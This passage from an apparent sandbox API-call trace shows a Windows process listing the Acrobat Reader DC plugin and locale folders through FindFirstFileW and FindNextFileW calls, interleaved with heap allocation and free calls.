ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a53, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.941] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0262.943] GetProcessHeap () returned 0xc10000 [0262.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.943] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0262.943] GetProcessHeap () returned 0xc10000 [0262.944] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.944] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.944] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.944] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.945] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.945] GetProcessHeap () returned 0xc10000 [0262.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.945] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0262.945] GetProcessHeap () returned 0xc10000 [0262.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1970, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.946] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.946] GetProcessHeap () returned 0xc10000 [0262.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.946] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0262.947] GetProcessHeap () returned 0xc10000 [0262.947] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.947] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.947] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.947] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1aa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.947] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1aa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.947] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.948] GetProcessHeap () returned 0xc10000 [0262.948] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.948] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.948] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0262.948] GetProcessHeap () returned 0xc10000 [0262.948] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.948] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.949] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2558, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.949] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2558, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.949] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.949] GetProcessHeap () returned 0xc10000 [0262.949] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.949] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0262.949] GetProcessHeap () returned 0xc10000 [0262.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0262.950] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.950] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x182c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.950] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x182c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.950] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0262.950] GetProcessHeap () returned 0xc10000 [0262.950] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.950] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0262.950] GetProcessHeap () returned 0xc10000 [0262.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0262.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0262.951] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.951] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1840, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.951] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1840, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.951] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0262.951] GetProcessHeap () returned 0xc10000 [0262.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0262.951] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0262.952] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0262.952] GetProcessHeap () returned 0xc10000 [0262.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0262.952] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3506b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0262.952] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203d, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0262.952] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203d, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0262.952] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0262.953] GetProcessHeap () returned 0xc10000 [0262.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0262.953] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0262.953] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0262.953] GetProcessHeap () returned 0xc10000 [0262.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0262.955] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0262.955] GetProcessHeap () returned 0xc10000 [0262.956] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0262.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0262.958] FindNextFileW (in: 